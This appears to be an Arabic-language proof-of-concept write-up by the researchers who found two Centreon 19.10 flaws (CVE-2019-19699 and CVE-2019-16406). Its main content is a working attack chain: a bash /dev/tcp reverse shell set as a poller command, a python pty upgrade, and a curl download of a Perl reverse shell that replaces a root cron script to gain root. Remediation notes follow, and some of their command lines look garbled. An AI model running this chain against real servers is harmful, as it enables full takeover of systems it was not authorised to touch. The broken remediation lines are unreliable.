
Centreon =<19.10 تنفيذ تعليمات برمجية عن بُعد بعد المصادقة
إثبات المفهوم
اكتشف بواسطة:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
تنفيذ الأوامر عن بعد مع المصادقة:
لنبدأ بتسجيل الدخول كمستخدم Admin إلى لوحة تحكم Centreon الويب.
بعد تسجيل الدخول، ننتقل إلى Configuration > Commands > Miscellaneous
تقدم بالنقر على Add كما هو موضح في الصورة أدناه.
نقوم الآن بإنشاء reverse shell bash كأمر Miscellaneous خاص بنا
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
ونضغط Save
الآن ننتقل إلى Configuration > Pollers ونضغط على المجمع Central الحالي
هذا يعطينا الوصول إلى قائمة تعديل تكوين المجمع (Modify a poller Configuration)
هنا يمكننا التمرير لأسفل، وتعيين أمر بعد إعادة التشغيل (Post-restart command)
تقدم باختيار reverse shell الذي أنشأناه سابقًا، وانقر على زر Save
يمكننا الآن المتابعة عن طريق تشغيل مستمع Netcat على جهازنا المحلي
أخيرًا، نضغط على زر Export configuration في قائمة Configuration > Pollers
اختر المجمع Central الخاص بنا من مربع القائمة المنسدلة Pollers
قم بإلغاء تحديد خانات الاختيار Generate Configuration Files و Run monitoring engine debug (-v)
حدد خانات الاختيار Restart Monitoring Engine و Post generation command
اختر Restart في مربع القائمة المنسدلة Method
عند النقر على Export، سيتم إعادة تشغيل المجمع، وبالتالي تنفيذ أمر ما بعد إعادة التشغيل الذي قمنا بتكوينه سابقًا هذه هي اللحظة التي سيحصل فيها مستمع reverse shell الخاص بنا على اتصال
تم بنجاح تنفيذ الأوامر عن بعد مع المصادقة!
(كان هذا الشرح لـ CVE-2019-19699)_
من هنا ننتقل إلى الحصول على صلاحيات Root
سنستخدم CVE-2019-16406 التي اكتشفها TheCyberGeek لاختراق خادم Centreon =< 19.10 بالكامل
لنبدأ بإنشاء قشرة TTY في محطة reverse shell الحالية
python -c 'import pty; pty.spawn("/bin/sh")'
الآن نلقي نظرة على المهام المجدولة (cron) الموجودة من خلال cat /etc/cron.d/
نرى الآن أن centreon_autodisc.pl هي مهمة Cron
(تم تعيينها من 30 22 * * * root إلى * * * * * root لأغراض توضيحية)
يتم تنفيذ هذا الأمر كـ Root، دعنا نستبدل ملف centreon_autodisco.pl بـ reverse shell بلغة Perl
يمكن تنزيل قشرة Perl التي سأستخدمها من هنا
قم بتنزيل الـ reverse shell، وقم بتعديل عنوان IP و المنفذ إلى عنوانك كما هو موضح في صفحة الويب
قم بتنفيذ أمر mv لإعادة تسمية ملف perl-reverse-shell.pl إلى centreon_autodisco.pl محليًا
لنبدأ الآن بتشغيل خادم SimpleHTTPServer محلي على منفذ من اختيارك
بهذه الطريقة، يمكننا استخدام curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl لاستبدال ملف centreon_autodisco.pl الحالي بقشرة Perl الخادعة الخاصة بنا
الآن تم استبدال الملف، كل ما تبقى هو تشغيل مستمع Netcat على المنفذ الذي قمنا بتكوينه مسبقًا، وسنحصل على اتصال عائد من الخادم كمستخدم Root!
تم بنجاح الوصول إلى النظام بصلاحيات Root!
الآن إلى الملاحظات حول كيفية اعتقادنا أنه يجب علاج رفع الصلاحيات!
الإعدادات الحالية في الإصدار 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
صلاحيات الملفات:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
العلاج لـ /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
كما ترى، أصبح الملف مملوكًا لـ Root، مجموعة apache يمكنها القراءة والتنفيذ فقط، وcentreon يمكنها التنفيذ فقط، وبالتالي لا يؤثر على الوظائف.
مثال:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied ولكن apache لا يزال بإمكانه تنفيذه.
العلاج لـ /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl